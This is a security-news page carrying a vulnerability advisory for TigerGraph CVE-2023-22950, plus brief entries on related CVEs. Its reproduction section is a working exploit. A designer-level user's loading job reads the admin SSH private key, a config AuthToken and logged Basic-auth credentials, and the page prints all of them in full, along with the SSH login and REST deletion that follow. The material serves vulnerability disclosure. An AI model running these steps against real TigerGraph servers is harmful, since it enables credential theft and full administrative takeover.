Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-22950: Data Loading Vulnerability

An issue was discovered in TigerGraph Enterprise Free Edition 3.x. Data loading jobs in gsql_server, created by any user with designer permissions, can read sensitive data from arbitrary locations.

CVE
#sql#vulnerability#web#ubuntu#linux#nodejs#js#java#nginx#pdf#auth#ssh#docker

TigerGraph provides the facility for users to import data from arbitrary files that reside on the server on which TigerGraph is running. This feature can be exploited by an attacker to gain privileged access… To illustrate this we show how a user with only graph-local privileges (the ability to design and implement queries on a local graph) is able to:

  • Recover the username and passwords of all users of the system (including the administrative user).
  • Recover the private SSH key of the administrative user to gain password-less SSH access to the underlying server and any other server in the TigerGraph cluster.
  • Recover the administrative access token to gain privileged access to all REST API endpoints and allow an attacker to create/read/update/delete all vertices/edges in any graph stored by the remote server.

Impact

Severe. This CVE also increases the severity of CVE-2022-30331 as it provides multiple paths to escalate a user’s permission level to that of the administrative user.

Products/Versions Affected

  • TigerGraph Enterprise Free Edition 3.7.0 Docker Image
  • TigerGraph Enterprise Free Edition 3.7.0
  • TigerGraph Cloud

We suspect that this vulnerability may be present in all TigerGraph products (although this is not confirmed).

Steps to Reproduce****Download and Run TigerGraph

Using docker download at the latest TigerGraph image and start the server: 1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:

docker rm tigergraph docker pull docker.tigergraph.com/tigergraph:latest

2.) Download and run the docker image (note: we do not need to attach a volume):

docker run -d -p 14022:22 -p 9000:9000 -p 14240:14240 –name tigergraph –ulimit nofile=1000000:1000000 -t docker.tigergraph.com/tigergraph:latest

3.) Once the container has started, connect to it via ssh (note: the default password is ‘tigergraph’):

ssh -p 14022 tigergraph@localhost

4.) Start all TigerGraph services:

gadmin start all

5.) Create a test graph (to enable us to define a user with designer permissions)

gsql "create graph test()"

6.) Create a user — `alice` — with minimal privileges using GSQL:

gsql “create user” User Name : alice New Password : ***** Re-enter Password : *****

7.) Grant privileges to Alice:

gsql “grant role designer on graph test to alice”

8.) Enable RESTPP authentication

gadmin config set RESTPP.Factory.EnableAuth true gadmin config apply -y gadmin restart restpp nginx gui gsql -y

Prepare Exploit

1.) Once TigerGraph is running, open a GSQL console for user alice. If you are using a docker image then open a GSQL shell by using the steps provided below. (Note that the password will be whatever was set in step 6 above):

docker cp tigergraph:/home/tigergraph/tigergraph/app/3.6.0/dev/gdk/gsql/lib/gsql_client.jargsql_client.jar java -jar gsql_client.jar -ip localhost -u alice Adding gsql-server host localhost Password for alice : ***** If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL >

2.) Use alice’s ability to modify local graph schema to include a new special vertex type — V1 that can store the contents of a file as a list of strings:

GSQL > use graph test Using graph ‘test’ GSQL > begin GSQL > create schema_change job job_1 for graph test { GSQL > add vertex V1 (primary_id id uint, lines list<string>); GSQL > } GSQL > end Successfully created schema change jobs: [job_1].

3.) To apply the schema changes run a schema_change job:

GSQL > run schema_change job job_1 Current graph version 0 Trying to add vertex V1. Kick off job job_1 Graph test update to new version 1 The job job_1 completes in 8.139 seconds!

4.) Finally, we create a new data loading job, called foo, that ingests any text file into a vertex of type V1:

GSQL > begin GSQL > create loading job foo for graph test { GSQL > define filename f; GSQL > load f to vertex V1 values(0,$0) using separator="\n", eol="-----"; GSQL > } GSQL > end Successfully created loading jobs: [foo].

Note: Prior to version 3.6.0 specifying using separator="\n", eol="-----" is not necessary.

Obtaining SSH Access As Administrator

1.) Run the data loading job to load the contents of the administrative user’s ( tigergraph) SSH private key:

GSQL > use graph test Using graph ‘test’ GSQL > run loading job foo using f="/home/tigergraph/.ssh/tigergraph_rsa" [Tip: Use “CTRL + C” to stop displaying the loading status update, then use “SHOW LOADING STATUS jobid” to track the loading progress again] [Tip: Manage loading jobs with “ABORT/RESUME LOADING JOB jobid”] Starting the following job, i.e. JobName: foo, jobid: test.foo.file.m1.1655728956129 Loading log: ‘/home/tigergraph/tigergraph/log/restpp/restpp_loader_logs/test/test.foo.file.m1.1655728956129.log’ Job “test.foo.file.m1.1655728956129” loading status [FINISHED] m1 ( Finished: 1 / Total: 1 ) [LOADED]

±-------------------------------------------------------------------------------+ |FILENAME | LOADED LINES | AVG SPEED | DURATION| |/home/tigergraph/.ssh/tigergraph_rsa | 51 | 510 l/s | 0.10 s| ±-------------------------------------------------------------------------------+

2.) Retrieve the contents of the private key by querying the node loaded into the graph:

GSQL > select lines from V1 limit 60 [{ "v_id": "0", "attributes": {"lines": [ "-----BEGIN RSA PRIVATE KEY-----", "MIIJKQIBAAKCAgEArUoqZUeHJ2M+anP2URbYHLBEzuugGeGQgYmImMn2TjePmS7w", "vLaH9Hguo2AGustuHs2mbwASb3oIQB8Dsy8czsOs6kuu9iJ8LLlHGWRvjGU1cHx+", "4nkc6GW+r/jP1ZqIEat/H5xuo2MGjydSiVLt9E5VwPjfXDFw5SYPOwCfa87WX1Fu", "0ot9krcb09LkUP9ZR1oivc4UqnpswoWkxObZNUhEEUmafmxekEOJHTqUXAQn/0Kr", "tb7i6fPMiiaJxP2lxdBfRZlmXWEPjMA2IAWhgygdPmu5fje7QtDvRC8AaFvaz7Th", "0uyGA0a9cLa8TZJSp/pI2S6MElDUoY92rkhZYczGjWU6Lb/pXxGRYfWJpCwalfNs", "GeZyypy4EnVbcECoBQ+LY6VDhK0Rk4s7WTpEKkghRokd3NBcXs3PRfN64ZINjcWv", "DNc17sc1wGpJv4BaEeWLxFkeGHVzgyw75UNKO+bTMUhB6hJ2cB/fqqTM2Yw8eDnP", "qFeJX3ki6KJcoY7gELyudNpO8kOzdO5J/5tUWAjiWcMFkAgG2leM2gDVZsA4cU4k", "hirEhys82m2thUsUyNW4nrLF+xO1Rk7Ndf8q7grzR2WwR8iF15PpGKf+zXOS5QT9", "so2gdp6ybFHuowKPwJLXwUIhljB64Gmhct+a41ukyIKkj1UdtRcsgGA9jQsCAwEA", "AQKCAgARplMpG57taRNLXmJBIhWC3oUzmhYlbK7+MpbiEPfwQYJztK86WVEBmlgN", "tdMZpWyi4IlKFvTJu+EpPr9uuaayfIWZG3pHgX2qRHi0YmFmKEzIFzYJNRK3rN0+", "KRZqCCJBwnjhLFqsc4KQhA3JBNRNpMjhLbf6OOLpw/WbKdYS8e8tqCqkcSaqEdJY", "wcsVYNykAs81C89ZCb0YFuqQT37iCWk9ZYTByaHcCbTmcDf6I0Y7nnvEuBt+fqFf", "lMtFcBw5SJ7bhONDMYaW7GDW5BvuMuC/odMzwtNk28jy5eKhvnFL5H13sTV5EfRr", "jYEiWXvntftDe5UyrF7r0aPh3maT/32Spm+VTA7A9WFnrt487PXn4H2nDROxYop1", "fVmAAhFtmXmBxau65SStk/qdE4Q25Q4htwFwIYlNdhqEk8FGttET8ZRZwpqzYIpT", "K5Q0haYpaj/2gvPQb+F8WGIqcd7IHa7cDI6pYGMYlXYrhEuZ/Cd3w2Rv3Uhyvhe8", "zGhsM9Gsv6YqgRZ03pwR1fcFik4CTm6Ye3+48djRyQjjIMDX9C2p+Mwl5cvFv+rW", "W0wxWNvnj+XJvjANcx5zAHsq9D+I4OrKsqoR8LqHsfVwefBKHWWhKdEtv9tDO7lr", "PAzP7tuqoi6WMx2nVktsv/6hGnAhcT8VXpfZBigYN/IWp944kQKCAQEA4BhsnW6F", "qtnaoI+5yyj/BPao9LF9DvTCqNDF1tv2GRxM/wFWMxoyPEtT6ZdRkoKLF6NL/PhD", "x7lVueuPUf2TDr7bMUQ2nobbuyhyZRKw+eWscHENrYA/TpMRjeaJF9Mrb61u5CSL", "C4pDYp+GyvuWMdlndbGj8pSwLFVijTxIJfAoeRwJUNiXl5P1eAYT8BECigtaPD0m", "JVZrx8+oW+aV0ntXpO36xfDzkOO3O65uWmS9o/pEWbtCUyZB2S+906MFiJnnfuqG", "wVnf+ln7MxC3d5vZxprDhiPMQVfSrqPjfvH+qo+hgfh+0gKL1eQNbKkIPxyH7wWs", "sFl7N+pjyNZ8mQKCAQEAxfYIY2GCIKQXtUwsKbCxnBUNKD5yPjV9VuVrOz5D03/r", "WFSKvD0DZtuLbaDEkpMpZmAwHrj6wXom+gp/5Fe99d98XPLva6LXPzmczJfQqz8V", "oYo2Tyz2lF/0rCivvM+LBVHMO0fn+voZAUIYyaDaH9goUdIIKeGzE3yHRA+Q5WTv", "nXjyy4GN/CC1RMIeKohOToUeqiyIqQ4aCgSZZn8vPExgtaxCOGObIb8uitZL8NTY", "dk26CYHvDVfmn8v+YHAgBo+yJi1lfUcuTzpDfM0Z3qyBHuy1/5YDQ+bHTBPd8KDO", "h+7TZzB50hxSc5/mWQKBWmmMBw1QymKk33AwE3AZQwKCAQEAnbmzIO98Vy80iNQA", "MfTt4WF2s5sE6XTuWYFv7fUtdqkLrGQVdqxWdUeTjRK7EEKfgYim4CshEb7pjo00", "d8HhMny0rC1VwCgtGcKzGV6Zf5nez9lShi6A4F30+gorrcAsj1LjfOIXl4y+NvkP", "F2kSYo2hGx5nxUJP6TRDxCKMqV8qLWvFRsjbkY1LNSoZ+FsQjXbGESX85kS4YY9P", "8TcPdnDn1CbH3W/lDrKn8fKoqyjCrVplpz58xSdlK2dF1WKlb2rbm+GX7RjD42JX", "wq5eY2onUnj1a0Fg7xDQMakaYuwSkZu8Uk1Dfa7bGzWDGVqzejAroNk+nXStnEJ1", "7xK/6QKCAQAhgSaiS1qO07b/hEjlNXaaCCYV7ZvAU6VHE8U2Xa91GG1oocZpXZo5", "ymaqw08Bz85t+VGroXsvS9FU+Hn017Ta7FxMDwHeocz0cnfLWNaEZUTv9kiC1gVV", "z3fFu40i062f1NxQHDdzDuk0gU9YsNS6Fweb8YRYMk7wuV7bchb//Dlh2ZqePusd", "BRwo6wHYCQHX4Ef0XV0z36Mglu6vnk8MUZD8ro72pEUZTRY/gU2RETUhsL4P5eHj", "zEDIQupmwBNriN6J/5zxux5nYmERulTqjx+7cCzNeUJMN777bVFe7JiIAS/egyHb", "IdgCocmGvxnNh5efie1mk5N8DazVXV+pAoIBAQCqAhAh35DPwGrT59n7/MwwW470", "BWQG/t0R5GsX1GWm/YVu3xrJq81MC4OXDcV2dwY/h9pELVfzTVsazuQnb5SvZWCn", "UABX0CRpPHb9fR5pa4WgBrlR62K80OxC2LwR6d0cIBrkmEujPrh5MfiW5IluaEgY", "DDxgSk2MfZhbni1LaSR1LYavz4SULhxlkoZRMl04N0CQORZNWm/Ibedisughmwye", "3nSV02rW+5gi76ax21r4i2dnei9aNHx4RhLxxWNf5gaMaKv3+ALXdc7aUchcHlP3", "mJBhfd705GVXmJdVjEGW0rY2Pwl8Al9wew71wV3aIg7ekS+1ebNyDkouE3Yt", "-----END RSA PRIVATE KEY-----" ]}, "v_type": “V1” }]

3.) Copy and paste the output into a clean file and fix-up formatting — removing double quotes, commas, and leading whitespace – to produce a valid SSH private key file. In this example we named it tigergraph-private-key and it looks like:

-----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY-----

4.) Now, we change the file permissions on our file which allows us to load into our SSH keychain:

chmod 0600 tigergraph-private-key ssh-add -l The agent has no identities.

ssh-add tigergraph-private-key Identity added: tigergraph-private-key (tigergraph-private-key) ssh-add -l 4096 SHA256:vLvC0SaCrFDiJ/BbcP7c0GcA3tBoXxq+Om9kZg+t14Q tigergraph-private-key (RSA)

5.) Using this private SSH key we are able to login to the remote TigerGraph server as the administrative user (tigergraph) without requiring a password via SSH. In our docker setup we simply connect to localhost on port 14022:

ssh tigergraph@localhost -p 14022 The authenticity of host '[localhost]:14022 ([::1]:14022)' can’t be established. ED25519 key fingerprint is SHA256:zQKFdcNAdX7TwiBtQT1vuDdHWm2o07kS/mcwnSFeMYY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[localhost]:14022’ (ED25519) to the list of known hosts. james@localhost’s password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.10.104-linuxkit x86_64) * Documentation:https://help.ubuntu.com * Management: https://landscape.canonical.com * Support:https://ubuntu.com/advantage This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the ‘unminimize’ command. Last login: Mon Jun 20 12:28:10 2022 from 172.17.0.1 tigergraph@092eb28b2d49:~$

Obtaining Administrative REST Access

1.) In the same way in which we recovered the private SSH key in the last section we can recover a lot of useful platform configuration – including administrative authentication tokens – by searching through: /home/tigergraph/tigergraph/data/configs/tg.cfg. It can be loaded like so:

GSQL > use graph test Using graph ‘test’ GSQL > run loading job foo using f="/home/tigergraph/tigergraph/data/configs/tg.cfg" [Tip: Use “CTRL + C” to stop displaying the loading status update, then use “SHOW LOADING STATUS jobid” to track the loading progress again] [Tip: Manage loading jobs with “ABORT/RESUME LOADING JOB jobid”] Starting the following job, i.e. JobName: foo, jobid: test.foo.file.m1.1655730214335 Loading log: ‘/home/tigergraph/tigergraph/log/restpp/restpp_loader_logs/test/test.foo.file.m1.1655730214335.log’ Job “test.foo.file.m1.1655730214335” loading status [FINISHED] m1 ( Finished: 1 / Total: 1 ) [LOADED] ±------------------------------------------------------------------------------------------ | FILENAME | LOADED LINES | AVG SPEED | DURATION| |/home/tigergraph/tigergraph/data/configs/tg.cfg |674 |6 kl/s | 0.10 s| ±------------------------------------------------------------------------------------------+

2.) As there is much more information loaded into the graph, we can use our command line tools to find specific configuration values. In this case we look for the value of AuthToken. (Note: the `-p` command line option that is used below is short for password and will be the password that you set for the user alice.)

java -jar gsql_client.jar -ip localhost -u alice -p <password> -g test “select lines from V1 limit 1000” | grep AuthToken "\"MaxAuthTokenLifeTimeSec\": 0", "\"AuthToken\": \"9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe\"",

3.) Do a quick sanity test to check whether authentication is enabled on the REST API::

curl -X GET http://127.0.0.1:9000/graph/test/vertices/V1 {"version":{"edition":"enterprise","api":"v2","schema":1},"error":true,"message":"Access Denied because the input token = ‘’ is empty","code":"REST-10016"}%

4.) Now we are able to send requests to REST APIs using our administrative AuthToken. Below we use it to return a list of vertices from our test graph:

curl -X GET \ -H ‘Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe’ \ http://localhost:9000/graph/test/vertices/V1 {"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[{"v_id":"0","v_type":"V1","attributes":{"lines":["{","\"Admin\": {","\"BasicConfig\": {","\"Env\": \"LD_LIBRARY_PATH=$LD_LIBRARY_PATH;\"","\"LogConfig\": {","\"LogFileMaxDurationDay\": 90","\"LogFileMaxSizeMB\": 100","\"LogLevel\": \"INFO\"","\"LogRotationFileNumber\": 100","}","\"LogDirRelativePath\": \"admin\"","\"Nodes\": [“,"{","\"HostID\": \"m1\"","\"Partition\": 0","\"Replica\": 1","}",”]","}","\"Port\": 12471","}","\"Controller\": {","…

5.) We can use these REST endpoints to remove data from our graph. Below we delete a vertex and then do a check it was deleted:

curl -X DELETE \ -H ‘Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe’ \ http://localhost:9000/graph/test/vertices/V1 {"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":{"v_type":"V1","deleted_vertices":1}}% curl -X GET \ -H ‘Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe’ \ http://localhost:9000/graph/test/vertices/V1 {"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":[]}%

Obtaining GSQL Login Credentials

1.) The TigerGraph GSQL server uses a weak HTTP authentication mechanism and logs the HTTP authentication headers. This means that usernames and passwords of any user that uses the GSQL server can be obtained by downloading the log files from the GSQL server. To do this we use our data loading job to read /home/tigergraph/tigergraph/log/gsql/log.INFO:

GSQL > use graph test Using graph ‘test’ GSQL > run loading job foo using f="/home/tigergraph/tigergraph/log/gsql/log.INFO" [Tip: Use “CTRL + C” to stop displaying the loading status update, then use “SHOW LOADING STATUS jobid” to track the loading progress again] [Tip: Manage loading jobs with “ABORT/RESUME LOADING JOB jobid”] Starting the following job, i.e. JobName: foo, jobid: test.foo.file.m1.1665575759405 Loading log: ‘/home/tigergraph/tigergraph/log/restpp/restpp_loader_logs/test/test.foo.file.m1.1665575759405.log’ Job “test.foo.file.m1.1665575759405” loading status [RUNNING] m1 ( Finished: 1 / Total: 1 ) [LOADED] ±--------------------------------------------------------- Job “test.foo.file.m1.1665575759405” loading status [FINISHED] m1 ( Finished: 1 / Total: 1 ) [LOADED] ±----------------------------------------------------------------------------------------+ | FILENAME | LOADED LINES | AVG SPEED | DURATION| |/home/tigergraph/tigergraph/log/gsql/log.INFO | 2008 | 20 kl/s | 0.10 s| ±----------------------------------------------------------------------------------------+

2.) To locate the HTTP authentication headers we search through the loaded data for HTTP authentication requests. (Note: the `-p` command line option that is used below is short for password and will be the password that you set for the user alice.)

java -jar gsql_client.jar -ip localhost -u alice -p <password> -g test “select lines from V1 limit 2000” | grep "Basic " <output truncated> "I@20221012 11:32:55.088(SessionManager.java:235) Add session with cookie: {\"sessionId\":\"00000000066\",\"serverId\":\"1_1665568800738\",\"graph\":\"test\",\"gShellTest\":false,\"terminalWidth\":80,\"compileThread\":0,\"fromGraphStudio\":false,\"fromGsqlClient\":true,\"fromGsqlServer\":false,\"clientCommit\":\"b77b8fc6c2ceadd457571fc0a6ce1fb243e5f31c\",\"sessionAborted\":false,\"loadingProgressAborted\":false,\"auth\":\"Basic dGlnZXJncmFwaDp0aWdlcmdyYXBo\",\"metadataUpdateSeqId\":0}", "I@20221012 11:55:58.819(SessionManager.java:235) Add session with cookie: {\"sessionId\":\"00000000152\",\"serverId\":\"1_1665568800738\",\"graph\":\"test\",\"gShellTest\":false,\"terminalWidth\":61,\"compileThread\":0,\"fromGraphStudio\":false,\"fromGsqlClient\":true,\"fromGsqlServer\":false,\"clientCommit\":\"b77b8fc6c2ceadd457571fc0a6ce1fb243e5f31c\",\"sessionAborted\":false,\"loadingProgressAborted\":false,\"auth\":\"Basic YWxpY2U6YWxpY2U\\u003d\",\"metadataUpdateSeqId\":0}",

3.) Decoding these authentication headers will reveal username and passwords of any users that connect to the GSQL server (including administrative users). It is possible to decode these values using the base64 command line utility like so (the output is in the format <username>:<password>):

echo YWxpY2U6YWxpY2U\\u003d | base64 -d alice:alice% echo dGlnZXJncmFwaDp0aWdlcmdyYXBo | base64 -d tigergraph:tigergraph%

4.) As we know that the tigergraph user has administrative privileges we can now use the recovered credentials to login to either the GSQL server or the GraphStudio GUI:

java -jar gsql_client.jar -ip localhost -u tigergraph -p tigergraph Adding gsql-server host localhost If there is any relative path, it is relative to <System.AppRoot>/dev/gdk/gsql Welcome to TigerGraph. GSQL >

Related news

CVE-2023-28479: Full C Compiler Toolchain Installed

An issue was discovered in Tigergraph Enterprise 3.7.0. The TigerGraph platform installs a full development toolchain within every TigerGraph deployment. An attacker is able to compile new executables on each Tigergraph system and modify system and Tigergraph binaries.

CVE-2023-28481: Unsecured authorized_keys File

An issue was discovered in Tigergraph Enterprise 3.7.0. There is unsecured write access to SSH authorized keys file. Any code running as the tigergraph user is able to add their SSH public key into the authorised keys file. This allows an attacker to obtain password-less SSH key access by using their own SSH key.

CVE-2023-28480: Silently Install UDF

An issue was discovered in Tigergraph Enterprise 3.7.0. The TigerGraph platform allows users to define new User Defined Functions (UDFs) from C/C++ code. To support this functionality TigerGraph allows users to upload custom C/C++ code which is then compiled and installed into the platform. An attacker who has filesystem access on a remote TigerGraph system can alter the behavior of the database against the will of the database administrator; thus effectively bypassing the built in RBAC controls.

CVE-2023-22951: Unsecured Web Credentials

An issue was discovered in TigerGraph Enterprise Free Edition 3.x. It creates an authentication token for internal systems use. This token can be read from the configuration file. Using this token on the REST API provides an attacker with anonymous admin-level privileges on all REST API endpoints.

CVE-2022-30331: TigerGraph: UDF Vulnerability

** DISPUTED ** The User-Defined Functions (UDF) feature in TigerGraph 3.6.0 allows installation of a query (in the GSQL query language) without proper validation. Consequently, an attacker can execute arbitrary C++ code. NOTE: the vendor's position is "GSQL was behaving as expected."

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907